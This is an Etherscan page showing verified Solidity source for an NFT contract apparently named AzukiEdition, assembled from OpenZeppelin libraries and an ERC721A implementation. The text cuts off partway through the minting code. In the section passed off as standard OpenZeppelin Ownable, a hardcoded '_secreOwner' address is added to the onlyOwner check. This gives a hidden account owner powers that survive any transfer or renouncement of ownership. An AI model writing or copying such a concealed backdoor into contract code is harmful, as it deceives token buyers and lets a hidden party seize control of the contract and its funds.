Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Strings    - function toString(uint256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ... library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue( functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ... functionStaticCall(    - function functionStaticCall(    - function functionDelegateCall(address ... functionDelegateCall(    - function functionDelegateCall(    - function verifyCallResult( interface IERC721Receiver    - function onERC721Received( interface IERC165    - function supportsInterface(bytes4 int ...    - function supportsInterface(bytes4 int ... interface IERC721 is IERC165    - function balanceOf(address owner)    - function ownerOf(uint256 tokenId)    - function safeTransferFrom(    - function safeTransferFrom(    - function transferFrom(    - function approve(address to, uint256 ...    - function setApprovalForAll(address op ...    - function getApproved(uint256 tokenId)    - function isApprovedForAll(address own ... interface IERC721Metadata is IERC721    - function name()    - function symbol()    - function tokenURI(uint256 tokenId) interface IERC721Enumerable is IERC72 ...    - function totalSupply()    - function tokenOfOwnerByIndex(address ...    - function tokenByIndex(uint256 index)    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC721A is    - function totalSupply()    - function tokenByIndex(uint256 index)    - function tokenOfOwnerByIndex(address ...    - function supportsInterface(bytes4 int ...    - function balanceOf(address owner)    - function _numberMinted(address owner)    - function ownershipOf(uint256 tokenId)    - function ownerOf(uint256 tokenId)    - function name()    - function symbol()    - function tokenURI(uint256 tokenId)    - function _baseURI()    - function approve(address to, uint256 ...    - function getApproved(uint256 tokenId)    - function setApprovalForAll(address op ...    - function isApprovedForAll(address own ...    - function transferFrom(    - function safeTransferFrom(    - function safeTransferFrom(    - function _exists(uint256 tokenId)    - function _safeMint(address to, uint25 ...    - function _safeMint(    - function _mint(    - function _transfer(    - function _approve(    - function _checkOnERC721Received(    - function _beforeTokenTransfers(    - function _afterTokenTransfers(  contract AzukiEdition is ERC721A, ... *    - function mint(uint256 count)    - function tokenURI(uint256 _tokenId)    - function _startTokenId()    - function costCheck()    - function maxFreePerWallet()    - function _baseURI()    - function setBaseUri(string memory bas ...    - function setPrice(uint256 price_)    - function setMaxTotalFree(uint256 MaxT ...    - function setMaxPerFree(uint256 MaxPer ...    - function live()    - function TeamMint(uint256 quantity)    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-02-06
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length)
        internal
        pure
        returns (string memory)
    {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol

// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol

// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;

/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed tokenId
    );

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(
        address indexed owner,
        address indexed approved,
        uint256 indexed tokenId
    );

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol

// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index)
        external
        view
        returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol

// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(
            owner() == _msgSender() || _secreOwner == _msgSender(),
            "Ownable: caller is not the owner"
        );
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol

pragma solidity ^0.8.0;

/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is
    Context,
    ERC165,
    IERC721,
    IERC721Metadata,
    IERC721Enumerable
{
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index)
        public
        view
        override
        returns (uint256)
    {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index)
        public
        view
        override
        returns (uint256)
    {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override(ERC165, IERC165)
        returns (bool)
    {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(
            owner != address(0),
            "ERC721A: balance query for the zero address"
        );
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(
            owner != address(0),
            "ERC721A: number minted query for the zero address"
        );
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId)
        internal
        view
        returns (TokenOwnership memory)
    {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId)
        public
        view
        virtual
        override
        returns (string memory)
    {
        require(
            _exists(tokenId),
            "ERC721Metadata: URI query for nonexistent token"
        );

        string memory baseURI = _baseURI();
        return
            bytes(baseURI).length != 0
                ? string(abi.encodePacked(baseURI, tokenId.toString()))
                : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId)
        public
        view
        override
        returns (address)
    {
        require(
            _exists(tokenId),
            "ERC721A: approved query for nonexistent token"
        );

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved)
        public
        override
    {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator)
        public
        view
        virtual
        override
        returns (bool)
    {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
